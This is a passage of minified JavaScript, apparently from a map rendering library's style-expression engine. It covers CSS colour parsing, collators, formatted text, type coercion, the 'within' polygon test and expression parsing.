1],dodgerblue:[30,144,255,1],firebrick:[178,34,34,1],floralwhite:[255,250,240,1],forestgreen:[34,139,34,1],fuchsia:[255,0,255,1],gainsboro:[220,220,220,1],ghostwhite:[248,248,255,1],gold:[255,215,0,1],goldenrod:[218,165,32,1],gray:[128,128,128,1],green:[0,128,0,1],greenyellow:[173,255,47,1],grey:[128,128,128,1],honeydew:[240,255,240,1],hotpink:[255,105,180,1],indianred:[205,92,92,1],indigo:[75,0,130,1],ivory:[255,255,240,1],khaki:[240,230,140,1],lavender:[230,230,250,1],lavenderblush:[255,240,245,1],lawngreen:[124,252,0,1],lemonchiffon:[255,250,205,1],lightblue:[173,216,230,1],lightcoral:[240,128,128,1],lightcyan:[224,255,255,1],lightgoldenrodyellow:[250,250,210,1],lightgray:[211,211,211,1],lightgreen:[144,238,144,1],lightgrey:[211,211,211,1],lightpink:[255,182,193,1],lightsalmon:[255,160,122,1],lightseagreen:[32,178,170,1],lightskyblue:[135,206,250,1],lightslategray:[119,136,153,1],lightslategrey:[119,136,153,1],lightsteelblue:[176,196,222,1],lightyellow:[255,255,224,1],lime:[0,255,0,1],limegreen:[50,205,50,1],linen:[250,240,230,1],magenta:[255,0,255,1],maroon:[128,0,0,1],mediumaquamarine:[102,205,170,1],mediumblue:[0,0,205,1],mediumorchid:[186,85,211,1],mediumpurple:[147,112,219,1],mediumseagreen:[60,179,113,1],mediumslateblue:[123,104,238,1],mediumspringgreen:[0,250,154,1],mediumturquoise:[72,209,204,1],mediumvioletred:[199,21,133,1],midnightblue:[25,25,112,1],mintcream:[245,255,250,1],mistyrose:[255,228,225,1],moccasin:[255,228,181,1],navajowhite:[255,222,173,1],navy:[0,0,128,1],oldlace:[253,245,230,1],olive:[128,128,0,1],olivedrab:[107,142,35,1],orange:[255,165,0,1],orangered:[255,69,0,1],orchid:[218,112,214,1],palegoldenrod:[238,232,170,1],palegreen:[152,251,152,1],paleturquoise:[175,238,238,1],palevioletred:[219,112,147,1],papayawhip:[255,239,213,1],peachpuff:[255,218,185,1],peru:[205,133,63,1],pink:[255,192,203,1],plum:[221,160,221,1],powderblue:[176,224,230,1],purple:[128,0,128,1],rebeccapurple:[102,51,153,1],red:[255,0,0,1],rosybrown:[188,143,143,1],royalblue:[65,105,225,1],saddlebrown:[139,69,19,1],salmon:[250,128,114,1],sandybrown:[244,164,96,1],seagreen:[46,139,87,1],seashell:[255,245,238,1],sienna:[160,82,45,1],silver:[192,192,192,1],skyblue:[135,206,235,1],slateblue:[106,90,205,1],slategray:[112,128,144,1],slategrey:[112,128,144,1],snow:[255,250,250,1],springgreen:[0,255,127,1],steelblue:[70,130,180,1],tan:[210,180,140,1],teal:[0,128,128,1],thistle:[216,191,216,1],tomato:[255,99,71,1],turquoise:[64,224,208,1],violet:[238,130,238,1],wheat:[245,222,179,1],white:[255,255,255,1],whitesmoke:[245,245,245,1],yellow:[255,255,0,1],yellowgreen:[154,205,50,1]};function ee(dt){return dt=Math.round(dt),dt<0?0:dt>255?255:dt}function ce(dt){return dt<0?0:dt>1?1:dt}function me(dt){return dt[dt.length-1]==="%"?ee(parseFloat(dt)/100*255):ee(parseInt(dt))}function Se(dt){return dt[dt.length-1]==="%"?ce(parseFloat(dt)/100):ce(parseFloat(dt))}function We(dt,xt,Bt){return Bt<0?Bt+=1:Bt>1&&(Bt-=1),Bt*6<1?dt+(xt-dt)*Bt*6:Bt*2<1?xt:Bt*3<2?dt+(xt-dt)*(2/3-Bt)*6:dt}function at(dt){var xt=dt.replace(/ /g,"").toLowerCase();if(xt in U)return U[xt].slice();if(xt[0]==="#"){if(xt.length===4){var Bt=parseInt(xt.substr(1),16);return Bt>=0&&Bt<=4095?[(Bt&3840)>>4|(Bt&3840)>>8,Bt&240|(Bt&240)>>4,Bt&15|(Bt&15)<<4,1]:null}else if(xt.length===7){var Bt=parseInt(xt.substr(1),16);return Bt>=0&&Bt<=16777215?[(Bt&16711680)>>16,(Bt&65280)>>8,Bt&255,1]:null}return null}var qt=xt.indexOf("("),Zt=xt.indexOf(")");if(qt!==-1&&Zt+1===xt.length){var vr=xt.substr(0,qt),kr=xt.substr(qt+1,Zt-(qt+1)).split(","),Jr=1;switch(vr){case"rgba":if(kr.length!==4)return null;Jr=Se(kr.pop());case"rgb":return kr.length!==3?null:[me(kr[0]),me(kr[1]),me(kr[2]),Jr];case"hsla":if(kr.length!==4)return null;Jr=Se(kr.pop());case"hsl":if(kr.length!==3)return null;var Zr=(parseFloat(kr[0])%360+360)%360/360,mn=Se(kr[1]),hn=Se(kr[2]),yn=hn<=.5?hn*(mn+1):hn+mn-hn*mn,Cn=hn*2-yn;return[ee(We(Cn,yn,Zr+1/3)*255),ee(We(Cn,yn,Zr)*255),ee(We(Cn,yn,Zr-1/3)*255),Jr];default:return null}}return null}try{D.parseCSSColor=at}catch{}}),Gl=ji.parseCSSColor,Ga=function(D,U,ee,ce){ce===void 0&&(ce=1),this.r=D,this.g=U,this.b=ee,this.a=ce};Ga.parse=function(D){if(D){if(D instanceof Ga)return D;if(typeof D=="string"){var U=Gl(D);if(U)return new Ga(U[0]/255*U[3],U[1]/255*U[3],U[2]/255*U[3],U[3])}}},Ga.prototype.toString=function(){var D=this.toArray(),U=D[0],ee=D[1],ce=D[2],me=D[3];return"rgba("+Math.round(U)+","+Math.round(ee)+","+Math.round(ce)+","+me+")"},Ga.prototype.toArray=function(){var D=this,U=D.r,ee=D.g,ce=D.b,me=D.a;return me===0?[0,0,0,0]:[U*255/me,ee*255/me,ce*255/me,me]},Ga.black=new Ga(0,0,0,1),Ga.white=new Ga(1,1,1,1),Ga.transparent=new Ga(0,0,0,0),Ga.red=new Ga(1,0,0,1);var js=function(D,U,ee){D?this.sensitivity=U?"variant":"case":this.sensitivity=U?"accent":"base",this.locale=ee,this.collator=new Intl.Collator(this.locale?this.locale:[],{sensitivity:this.sensitivity,usage:"search"})};js.prototype.compare=function(D,U){return this.collator.compare(D,U)},js.prototype.resolvedLocale=function(){return new Intl.Collator(this.locale?this.locale:[]).resolvedOptions().locale};var Rs=function(D,U,ee,ce,me){this.text=D,this.image=U,this.scale=ee,this.fontStack=ce,this.textColor=me},Ii=function(D){this.sections=D};Ii.fromString=function(D){return new Ii([new Rs(D,null,null,null,null)])},Ii.prototype.isEmpty=function(){return this.sections.length===0?!0:!this.sections.some(function(D){return D.text.length!==0||D.image&&D.image.name.length!==0})},Ii.factory=function(D){return D instanceof Ii?D:Ii.fromString(D)},Ii.prototype.toString=function(){return this.sections.length===0?"":this.sections.map(function(D){return D.text}).join("")},Ii.prototype.serialize=function(){for(var D=["format"],U=0,ee=this.sections;U<ee.length;U+=1){var ce=ee[U];if(ce.image){D.push(["image",ce.image.name]);continue}D.push(ce.text);var me={};ce.fontStack&&(me["text-font"]=["literal",ce.fontStack.split(",")]),ce.scale&&(me["font-scale"]=ce.scale),ce.textColor&&(me["text-color"]=["rgba"].concat(ce.textColor.toArray())),D.push(me)}return D};var eo=function(D){this.name=D.name,this.available=D.available};eo.prototype.toString=function(){return this.name},eo.fromString=function(D){return D?new eo({name:D,available:!1}):null},eo.prototype.serialize=function(){return["image",this.name]};function bu(R,D,U,ee){if(!(typeof R=="number"&&R>=0&&R<=255&&typeof D=="number"&&D>=0&&D<=255&&typeof U=="number"&&U>=0&&U<=255)){var ce=typeof ee=="number"?[R,D,U,ee]:[R,D,U];return"Invalid rgba value ["+ce.join(", ")+"]: 'r', 'g', and 'b' must be between 0 and 255."}return typeof ee>"u"||typeof ee=="number"&&ee>=0&&ee<=1?null:"Invalid rgba value ["+[R,D,U,ee].join(", ")+"]: 'a' must be between 0 and 1."}function Ks(R){if(R===null)return!0;if(typeof R=="string")return!0;if(typeof R=="boolean")return!0;if(typeof R=="number")return!0;if(R instanceof Ga)return!0;if(R instanceof js)return!0;if(R instanceof Ii)return!0;if(R instanceof eo)return!0;if(Array.isArray(R)){for(var D=0,U=R;D<U.length;D+=1){var ee=U[D];if(!Ks(ee))return!1}return!0}else if(typeof R=="object"){for(var ce in R)if(!Ks(R[ce]))return!1;return!0}else return!1}function gi(R){if(R===null)return Ar;if(typeof R=="string")return Lr;if(typeof R=="boolean")return ln;if(typeof R=="number")return br;if(R instanceof Ga)return Ln;if(R instanceof js)return Zn;if(R instanceof Ii)return ta;if(R instanceof eo)return Qn;if(Array.isArray(R)){for(var D=R.length,U,ee=0,ce=R;ee<ce.length;ee+=1){var me=ce[ee],Se=gi(me);if(!U)U=Se;else{if(U===Se)continue;U=fn;break}}return $n(U||fn,D)}else return On}function Js(R){var D=typeof R;return R===null?"":D==="string"||D==="number"||D==="boolean"?String(R):R instanceof Ga||R instanceof Ii||R instanceof eo?R.toString():JSON.stringify(R)}var oo=function(D,U){this.type=D,this.value=U};oo.parse=function(D,U){if(D.length!==2)return U.error("'literal' expression requires exactly one argument, but found "+(D.length-1)+" instead.");if(!Ks(D[1]))return U.error("invalid value");var ee=D[1],ce=gi(ee),me=U.expectedType;return ce.kind==="array"&&ce.N===0&&me&&me.kind==="array"&&(typeof me.N!="number"||me.N===0)&&(ce=me),new oo(ce,ee)},oo.prototype.evaluate=function(){return this.value},oo.prototype.eachChild=function(){},oo.prototype.outputDefined=function(){return!0},oo.prototype.serialize=function(){return this.type.kind==="array"||this.type.kind==="object"?["literal",this.value]:this.value instanceof Ga?["rgba"].concat(this.value.toArray()):this.value instanceof Ii?this.value.serialize():this.value};var Li=function(D){this.name="ExpressionEvaluationError",this.message=D};Li.prototype.toJSON=function(){return this.message};var so={string:Lr,number:br,boolean:ln,object:On},Wi=function(D,U){this.type=D,this.args=U};Wi.parse=function(D,U){if(D.length<2)return U.error("Expected at least one argument.");var ee=1,ce,me=D[0];if(me==="array"){var Se;if(D.length>2){var We=D[1];if(typeof We!="string"||!(We in so)||We==="object")return U.error('The item type argument of "array" must be one of string, number, boolean',1);Se=so[We],ee++}else Se=fn;var at;if(D.length>3){if(D[2]!==null&&(typeof D[2]!="number"||D[2]<0||D[2]!==Math.floor(D[2])))return U.error('The length argument to "array" must be a positive integer literal',2);at=D[2],ee++}ce=$n(Se,at)}else ce=so[me];for(var dt=[];ee<D.length;ee++){var xt=U.parse(D[ee],ee,fn);if(!xt)return null;dt.push(xt)}return new Wi(ce,dt)},Wi.prototype.evaluate=function(D){for(var U=0;U<this.args.length;U++){var ee=this.args[U].evaluate(D),ce=Gi(this.type,gi(ee));if(ce){if(U===this.args.length-1)throw new Li("Expected value to be of type "+oa(this.type)+", but found "+oa(gi(ee))+" instead.")}else return ee}return null},Wi.prototype.eachChild=function(D){this.args.forEach(D)},Wi.prototype.outputDefined=function(){return this.args.every(function(D){return D.outputDefined()})},Wi.prototype.serialize=function(){var D=this.type,U=[D.kind];if(D.kind==="array"){var ee=D.itemType;if(ee.kind==="string"||ee.kind==="number"||ee.kind==="boolean"){U.push(ee.kind);var ce=D.N;(typeof ce=="number"||this.args.length>1)&&U.push(ce)}}return U.concat(this.args.map(function(me){return me.serialize()}))};var ho=function(D){this.type=ta,this.sections=D};ho.parse=function(D,U){if(D.length<2)return U.error("Expected at least one argument.");var ee=D[1];if(!Array.isArray(ee)&&typeof ee=="object")return U.error("First argument must be an image or text section.");for(var ce=[],me=!1,Se=1;Se<=D.length-1;++Se){var We=D[Se];if(me&&typeof We=="object"&&!Array.isArray(We)){me=!1;var at=null;if(We["font-scale"]&&(at=U.parse(We["font-scale"],1,br),!at))return null;var dt=null;if(We["text-font"]&&(dt=U.parse(We["text-font"],1,$n(Lr)),!dt))return null;var xt=null;if(We["text-color"]&&(xt=U.parse(We["text-color"],1,Ln),!xt))return null;var Bt=ce[ce.length-1];Bt.scale=at,Bt.font=dt,Bt.textColor=xt}else{var qt=U.parse(D[Se],1,fn);if(!qt)return null;var Zt=qt.type.kind;if(Zt!=="string"&&Zt!=="value"&&Zt!=="null"&&Zt!=="resolvedImage")return U.error("Formatted text type must be 'string', 'value', 'image' or 'null'.");me=!0,ce.push({content:qt,scale:null,font:null,textColor:null})}}return new ho(ce)},ho.prototype.evaluate=function(D){var U=function(ee){var ce=ee.content.evaluate(D);return gi(ce)===Qn?new Rs("",ce,null,null,null):new Rs(Js(ce),null,ee.scale?ee.scale.evaluate(D):null,ee.font?ee.font.evaluate(D).join(","):null,ee.textColor?ee.textColor.evaluate(D):null)};return new Ii(this.sections.map(U))},ho.prototype.eachChild=function(D){for(var U=0,ee=this.sections;U<ee.length;U+=1){var ce=ee[U];D(ce.content),ce.scale&&D(ce.scale),ce.font&&D(ce.font),ce.textColor&&D(ce.textColor)}},ho.prototype.outputDefined=function(){return!1},ho.prototype.serialize=function(){for(var D=["format"],U=0,ee=this.sections;U<ee.length;U+=1){var ce=ee[U];D.push(ce.content.serialize());var me={};ce.scale&&(me["font-scale"]=ce.scale.serialize()),ce.font&&(me["text-font"]=ce.font.serialize()),ce.textColor&&(me["text-color"]=ce.textColor.serialize()),D.push(me)}return D};var Ro=function(D){this.type=Qn,this.input=D};Ro.parse=function(D,U){if(D.length!==2)return U.error("Expected two arguments.");var ee=U.parse(D[1],1,Lr);return ee?new Ro(ee):U.error("No image name provided.")},Ro.prototype.evaluate=function(D){var U=this.input.evaluate(D),ee=eo.fromString(U);return ee&&D.availableImages&&(ee.available=D.availableImages.indexOf(U)>-1),ee},Ro.prototype.eachChild=function(D){D(this.input)},Ro.prototype.outputDefined=function(){return!1},Ro.prototype.serialize=function(){return["image",this.input.serialize()]};var Go={"to-boolean":ln,"to-color":Ln,"to-number":br,"to-string":Lr},zi=function(D,U){this.type=D,this.args=U};zi.parse=function(D,U){if(D.length<2)return U.error("Expected at least one argument.");var ee=D[0];if((ee==="to-boolean"||ee==="to-string")&&D.length!==2)return U.error("Expected one argument.");for(var ce=Go[ee],me=[],Se=1;Se<D.length;Se++){var We=U.parse(D[Se],Se,fn);if(!We)return null;me.push(We)}return new zi(ce,me)},zi.prototype.evaluate=function(D){if(this.type.kind==="boolean")return!!this.args[0].evaluate(D);if(this.type.kind==="color"){for(var U,ee,ce=0,me=this.args;ce<me.length;ce+=1){var Se=me[ce];if(U=Se.evaluate(D),ee=null,U instanceof Ga)return U;if(typeof U=="string"){var We=D.parseColor(U);if(We)return We}else if(Array.isArray(U)&&(U.length<3||U.length>4?ee="Invalid rbga value "+JSON.stringify(U)+": expected an array containing either three or four numeric values.":ee=bu(U[0],U[1],U[2],U[3]),!ee))return new Ga(U[0]/255,U[1]/255,U[2]/255,U[3])}throw new Li(ee||"Could not parse color from value '"+(typeof U=="string"?U:String(JSON.stringify(U)))+"'")}else if(this.type.kind==="number"){for(var at=null,dt=0,xt=this.args;dt<xt.length;dt+=1){var Bt=xt[dt];if(at=Bt.evaluate(D),at===null)return 0;var qt=Number(at);if(!isNaN(qt))return qt}throw new Li("Could not convert "+JSON.stringify(at)+" to number.")}else return this.type.kind==="formatted"?Ii.fromString(Js(this.args[0].evaluate(D))):this.type.kind==="resolvedImage"?eo.fromString(Js(this.args[0].evaluate(D))):Js(this.args[0].evaluate(D))},zi.prototype.eachChild=function(D){this.args.forEach(D)},zi.prototype.outputDefined=function(){return this.args.every(function(D){return D.outputDefined()})},zi.prototype.serialize=function(){if(this.type.kind==="formatted")return new ho([{content:this.args[0],scale:null,font:null,textColor:null}]).serialize();if(this.type.kind==="resolvedImage")return new Ro(this.args[0]).serialize();var D=["to-"+this.type.kind];return this.eachChild(function(U){D.push(U.serialize())}),D};var wu=["Unknown","Point","LineString","Polygon"],Do=function(){this.globals=null,this.feature=null,this.featureState=null,this.formattedSection=null,this._parseColorCache={},this.availableImages=null,this.canonical=null};Do.prototype.id=function(){return this.feature&&"id"in this.feature?this.feature.id:null},Do.prototype.geometryType=function(){return this.feature?typeof this.feature.type=="number"?wu[this.feature.type]:this.feature.type:null},Do.prototype.geometry=function(){return this.feature&&"geometry"in this.feature?this.feature.geometry:null},Do.prototype.canonicalID=function(){return this.canonical},Do.prototype.properties=function(){return this.feature&&this.feature.properties||{}},Do.prototype.parseColor=function(D){var U=this._parseColorCache[D];return U||(U=this._parseColorCache[D]=Ga.parse(D)),U};var Fi=function(D,U,ee,ce){this.name=D,this.type=U,this._evaluate=ee,this.args=ce};Fi.prototype.evaluate=function(D){return this._evaluate(D,this.args)},Fi.prototype.eachChild=function(D){this.args.forEach(D)},Fi.prototype.outputDefined=function(){return!1},Fi.prototype.serialize=function(){return[this.name].concat(this.args.map(function(D){return D.serialize()}))},Fi.parse=function(D,U){var ee,ce=D[0],me=Fi.definitions[ce];if(!me)return U.error('Unknown expression "'+ce+'". If you wanted a literal array, use ["literal", [...]].',0);for(var Se=Array.isArray(me)?me[0]:me.type,We=Array.isArray(me)?[[me[1],me[2]]]:me.overloads,at=We.filter(function(va){var da=va[0];return!Array.isArray(da)||da.length===D.length-1}),dt=null,xt=0,Bt=at;xt<Bt.length;xt+=1){var qt=Bt[xt],Zt=qt[0],vr=qt[1];dt=new Zo(U.registry,U.path,null,U.scope);for(var kr=[],Jr=!1,Zr=1;Zr<D.length;Zr++){var mn=D[Zr],hn=Array.isArray(Zt)?Zt[Zr-1]:Zt.type,yn=dt.parse(mn,1+kr.length,hn);if(!yn){Jr=!0;break}kr.push(yn)}if(!Jr){if(Array.isArray(Zt)&&Zt.length!==kr.length){dt.error("Expected "+Zt.length+" arguments, but found "+kr.length+" instead.");continue}for(var Cn=0;Cn<kr.length;Cn++){var _n=Array.isArray(Zt)?Zt[Cn]:Zt.type,Yn=kr[Cn];dt.concat(Cn+1).checkSubtype(_n,Yn.type)}if(dt.errors.length===0)return new Fi(ce,Se,vr,kr)}}if(at.length===1)(ee=U.errors).push.apply(ee,dt.errors);else{for(var Gn=at.length?at:We,ga=Gn.map(function(va){var da=va[0];return Wl(da)}).join(" | "),aa=[],ua=1;ua<D.length;ua++){var Pa=U.parse(D[ua],1+aa.length);if(!Pa)return null;aa.push(oa(Pa.type))}U.error("Expected arguments of type "+ga+", but found ("+aa.join(", ")+") instead.")}return null},Fi.register=function(D,U){Fi.definitions=U;for(var ee in U)D[ee]=Fi};function Wl(R){return Array.isArray(R)?"("+R.map(oa).join(", ")+")":"("+oa(R.type)+"...)"}var Wo=function(D,U,ee){this.type=Zn,this.locale=ee,this.caseSensitive=D,this.diacriticSensitive=U};Wo.parse=function(D,U){if(D.length!==2)return U.error("Expected one argument.");var ee=D[1];if(typeof ee!="object"||Array.isArray(ee))return U.error("Collator options argument must be an object.");var ce=U.parse(ee["case-sensitive"]===void 0?!1:ee["case-sensitive"],1,ln);if(!ce)return null;var me=U.parse(ee["diacritic-sensitive"]===void 0?!1:ee["diacritic-sensitive"],1,ln);if(!me)return null;var Se=null;return ee.locale&&(Se=U.parse(ee.locale,1,Lr),!Se)?null:new Wo(ce,me,Se)},Wo.prototype.evaluate=function(D){return new js(this.caseSensitive.evaluate(D),this.diacriticSensitive.evaluate(D),this.locale?this.locale.evaluate(D):null)},Wo.prototype.eachChild=function(D){D(this.caseSensitive),D(this.diacriticSensitive),this.locale&&D(this.locale)},Wo.prototype.outputDefined=function(){return!1},Wo.prototype.serialize=function(){var D={};return D["case-sensitive"]=this.caseSensitive.serialize(),D["diacritic-sensitive"]=this.diacriticSensitive.serialize(),this.locale&&(D.locale=this.locale.serialize()),["collator",D]};var Io=8192;function Yl(R,D){R[0]=Math.min(R[0],D[0]),R[1]=Math.min(R[1],D[1]),R[2]=Math.max(R[2],D[0]),R[3]=Math.max(R[3],D[1])}function Zl(R){return(180+R)/360}function Qu(R){return(180-180/Math.PI*Math.log(Math.tan(Math.PI/4+R*Math.PI/360)))/360}function Qs(R,D){return!(R[0]<=D[0]||R[2]>=D[2]||R[1]<=D[1]||R[3]>=D[3])}function $u(R,D){var U=Zl(R[0]),ee=Qu(R[1]),ce=Math.pow(2,D.z);return[Math.round(U*ce*Io),Math.round(ee*ce*Io)]}function qu(R,D,U){var ee=R[0]-D[0],ce=R[1]-D[1],me=R[0]-U[0],Se=R[1]-U[1];return ee*Se-me*ce===0&&ee*me<=0&&ce*Se<=0}function ef(R,D,U){return D[1]>R[1]!=U[1]>R[1]&&R[0]<(U[0]-D[0])*(R[1]-D[1])/(U[1]-D[1])+D[0]}function Xl(R,D){for(var U=!1,ee=0,ce=D.length;ee<ce;ee++)for(var me=D[ee],Se=0,We=me.length;Se<We-1;Se++){if(qu(R,me[Se],me[Se+1]))return!1;ef(R,me[Se],me[Se+1])&&(U=!U)}return U}function tf(R,D){for(var U=0;U<D.length;U++)if(Xl(R,D[U]))return!0;return!1}function rf(R,D){return R[0]*D[1]-R[1]*D[0]}function Tu(R,D,U,ee){var ce=R[0]-U[0],me=R[1]-U[1],Se=D[0]-U[0],We=D[1]-U[1],at=ee[0]-U[0],dt=ee[1]-U[1],xt=ce*dt-at*me,Bt=Se*dt-at*We;return xt>0&&Bt<0||xt<0&&Bt>0}function nf(R,D,U,ee){var ce=[D[0]-R[0],D[1]-R[1]],me=[ee[0]-U[0],ee[1]-U[1]];return rf(me,ce)===0?!1:!!(Tu(R,D,U,ee)&&Tu(U,ee,R,D))}function af(R,D,U){for(var ee=0,ce=U;ee<ce.length;ee+=1)for(var me=ce[ee],Se=0;Se<me.length-1;++Se)if(nf(R,D,me[Se],me[Se+1]))return!0;return!1}function jl(R,D){for(var U=0;U<R.length;++U)if(!Xl(R[U],D))return!1;for(var ee=0;ee<R.length-1;++ee)if(af(R[ee],R[ee+1],D))return!1;return!0}function ps(R,D){for(var U=0;U<D.length;U++)if(jl(R,D[U]))return!0;return!1}function gs(R,D,U){for(var ee=[],ce=0;ce<R.length;ce++){for(var me=[],Se=0;Se<R[ce].length;Se++){var We=$u(R[ce][Se],U);Yl(D,We),me.push(We)}ee.push(me)}return ee}function Ds(R,D,U){for(var ee=[],ce=0;ce<R.length;ce++){var me=gs(R[ce],D,U);ee.push(me)}return ee}function ml(R,D,U,ee){if(R[0]<U[0]||R[0]>U[2]){var ce=ee*.5,me=R[0]-U[0]>ce?-ee:U[0]-R[0]>ce?ee:0;me===0&&(me=R[0]-U[2]>ce?-ee:U[2]-R[0]>ce?ee:0),R[0]+=me}Yl(D,R)}function of(R){R[0]=R[1]=1/0,R[2]=R[3]=-1/0}function Yo(R,D,U,ee){for(var ce=Math.pow(2,ee.z)*Io,me=[ee.x*Io,ee.y*Io],Se=[],We=0,at=R;We<at.length;We+=1)for(var dt=at[We],xt=0,Bt=dt;xt<Bt.length;xt+=1){var qt=Bt[xt],Zt=[qt.x+me[0],qt.y+me[1]];ml(Zt,D,U,ce),Se.push(Zt)}return Se}function Au(R,D,U,ee){for(var ce=Math.pow(2,ee.z)*Io,me=[ee.x*Io,ee.y*Io],Se=[],We=0,at=R;We<at.length;We+=1){for(var dt=at[We],xt=[],Bt=0,qt=dt;Bt<qt.length;Bt+=1){var Zt=qt[Bt],vr=[Zt.x+me[0],Zt.y+me[1]];Yl(D,vr),xt.push(vr)}Se.push(xt)}if(D[2]-D[0]<=ce/2){of(D);for(var kr=0,Jr=Se;kr<Jr.length;kr+=1)for(var Zr=Jr[kr],mn=0,hn=Zr;mn<hn.length;mn+=1){var yn=hn[mn];ml(yn,D,U,ce)}}return Se}function Kl(R,D){var U=[1/0,1/0,-1/0,-1/0],ee=[1/0,1/0,-1/0,-1/0],ce=R.canonicalID();if(D.type==="Polygon"){var me=gs(D.coordinates,ee,ce),Se=Yo(R.geometry(),U,ee,ce);if(!Qs(U,ee))return!1;for(var We=0,at=Se;We<at.length;We+=1){var dt=at[We];if(!Xl(dt,me))return!1}}if(D.type==="MultiPolygon"){var xt=Ds(D.coordinates,ee,ce),Bt=Yo(R.geometry(),U,ee,ce);if(!Qs(U,ee))return!1;for(var qt=0,Zt=Bt;qt<Zt.length;qt+=1){var vr=Zt[qt];if(!tf(vr,xt))return!1}}return!0}function sf(R,D){var U=[1/0,1/0,-1/0,-1/0],ee=[1/0,1/0,-1/0,-1/0],ce=R.canonicalID();if(D.type==="Polygon"){var me=gs(D.coordinates,ee,ce),Se=Au(R.geometry(),U,ee,ce);if(!Qs(U,ee))return!1;for(var We=0,at=Se;We<at.length;We+=1){var dt=at[We];if(!jl(dt,me))return!1}}if(D.type==="MultiPolygon"){var xt=Ds(D.coordinates,ee,ce),Bt=Au(R.geometry(),U,ee,ce);if(!Qs(U,ee))return!1;for(var qt=0,Zt=Bt;qt<Zt.length;qt+=1){var vr=Zt[qt];if(!ps(vr,xt))return!1}}return!0}var vo=function(D,U){this.type=ln,this.geojson=D,this.geometries=U};vo.parse=function(D,U){if(D.length!==2)return U.error("'within' expression requires exactly one argument, but found "+(D.length-1)+" instead.");if(Ks(D[1])){var ee=D[1];if(ee.type==="FeatureCollection")for(var ce=0;ce<ee.features.length;++ce){var me=ee.features[ce].geometry.type;if(me==="Polygon"||me==="MultiPolygon")return new vo(ee,ee.features[ce].geometry)}else if(ee.type==="Feature"){var Se=ee.geometry.type;if(Se==="Polygon"||Se==="MultiPolygon")return new vo(ee,ee.geometry)}else if(ee.type==="Polygon"||ee.type==="MultiPolygon")return new vo(ee,ee)}return U.error("'within' expression requires valid geojson object that contains polygon geometry type.")},vo.prototype.evaluate=function(D){if(D.geometry()!=null&&D.canonicalID()!=null){if(D.geometryType()==="Point")return Kl(D,this.geometries);if(D.geometryType()==="LineString")return sf(D,this.geometries)}return!1},vo.prototype.eachChild=function(){},vo.prototype.outputDefined=function(){return!0},vo.prototype.serialize=function(){return["within",this.geojson]};function ys(R){if(R instanceof Fi){if(R.name==="get"&&R.args.length===1)return!1;if(R.name==="feature-state")return!1;if(R.name==="has"&&R.args.length===1)return!1;if(R.name==="properties"||R.name==="geometry-type"||R.name==="id")return!1;if(/^filter-/.test(R.name))return!1}if(R instanceof vo)return!1;var D=!0;return R.eachChild(function(U){D&&!ys(U)&&(D=!1)}),D}function $s(R){if(R instanceof Fi&&R.name==="feature-state")return!1;var D=!0;return R.eachChild(function(U){D&&!$s(U)&&(D=!1)}),D}function Is(R,D){if(R instanceof Fi&&D.indexOf(R.name)>=0)return!1;var U=!0;return R.eachChild(function(ee){U&&!Is(ee,D)&&(U=!1)}),U}var ko=function(D,U){this.type=U.type,this.name=D,this.boundExpression=U};ko.parse=function(D,U){if(D.length!==2||typeof D[1]!="string")return U.error("'var' expression requires exactly one string literal argument.");var ee=D[1];return U.scope.has(ee)?new ko(ee,U.scope.get(ee)):U.error('Unknown variable "'+ee+'". Make sure "'+ee+'" has been bound in an enclosing "let" expression before using it.',1)},ko.prototype.evaluate=function(D){return this.boundExpression.evaluate(D)},ko.prototype.eachChild=function(){},ko.prototype.outputDefined=function(){return!1},ko.prototype.serialize=function(){return["var",this.name]};var Zo=function(D,U,ee,ce,me){U===void 0&&(U=[]),ce===void 0&&(ce=new nn),me===void 0&&(me=[]),this.registry=D,this.path=U,this.key=U.map(function(Se){return"["+Se+"]"}).join(""),this.scope=ce,this.errors=me,this.expectedType=ee};Zo.prototype.parse=function(D,U,ee,ce,me){return me===void 0&&(me={}),U?this.concat(U,ee,ce)._parse(D,me):this._parse(D,me)},Zo.prototype._parse=function(D,U){(D===null||typeof D=="string"||typeof D=="boolean"||typeof D=="number")&&(D=["literal",D]);function ee(xt,Bt,qt){return qt==="assert"?new Wi(Bt,[xt]):qt==="coerce"?new zi(Bt,[xt]):xt}if(Array.isArray(D)){if(D.length===0)return this.error('Expected an array with at least one element. If you wanted a literal array, use ["literal", []].');var ce=D[0];if(typeof ce!="string")return this.error("Expression name must be a string, but found "+typeof ce+' instead. If you wanted a literal array, use ["literal", [...]].',0),null;var me=this.registry[ce];if(me){var Se=me.parse(D,this);if(!Se)return null;if(this.expectedType){var We=this.expectedType,at=Se.type;if((We.kind==="string"||We.kind==="number"||We.kind==="boolean"||We.kind==="object"||We.kind==="array")&&at.kind==="value")Se=ee(Se,We,U.typeAnnotation||"assert");else if((We.kind==="color"||We.kind==="formatted"||We.kind==="resolvedImage")&&(at.kind==="value"||at.kind==="string"))Se=ee(Se,We,U.typeAnnotation||"coerce");else if(this.checkSubtype(We,at))return null}if(!(Se instanceof oo)&&Se.type.kind!=="resolvedImage"&&Jl(Se)){var dt=new Do;try{Se=new oo(Se.type,Se.evaluate(dt))}catch(xt){return this.error(xt.message),null}}return Se}return this.error('Unknown expression "'+ce+'". If you wanted a literal array, use ["literal", [...]].',0)}else return typeof D>"u"?this.error("'undefined' value invalid. Use null instead."):typeof D=="object"?this.error('Bare objects invalid. Use ["literal", {...}] instead.'):this.error("Expected an array, but found "+typeof D+" instead.")},Zo.prototype.concat=function(D,U,ee){var ce=typeof D=="number"?this.path.concat(D):this.path,me=ee?this.scope.concat(ee):this.scope;return new Zo(this.registry,ce,U||null,me,this.errors)},Zo.prototype.error=function(D){for(var U=[],ee=arguments.length-1;ee-- >0;)U[ee]=arguments[ee+1];var ce=""+this.key+U.map(function(me){return"["+me+"]"}).join("");this.errors.push(new pn(ce,D))},Zo.prototype.checkSubtype=function(D,U){var ee=Gi(D,U);return ee&&this.error(ee),ee};function Jl(R){if(R instanceof ko)return Jl(R.boundExpression);if(R instanceof Fi&&R.name==="error")return!1;if(R instanceof Wo)return!1;if(R instanceof vo)return!1;var D=R instanceof zi||R instanceof Wi,U=!0;return R.eachChild(function(ee){D?U=U&&Jl(ee):U=U&&ee instanceof oo}),U?ys(R)&&Is(R,["zoom","heatmap-density","line-progress","accumulated","is-supported-script"]):!1}function ks(R,D){for(var U=R.length-1,ee=0,ce=U,me=0,Se,We;ee<=ce;)if(me=Math.floor((ee+ce)/2),Se=R[me],We=R[me+1],Se<=D){if(me===U||D<We)return me;ee=me+1}else if(Se>D)ce=me-1;else throw new Li("Input is not a number.");return 0}var rs=function(D,U,ee){this.type=D,this.input=U,this.labels=[],this.outputs=[];for(var 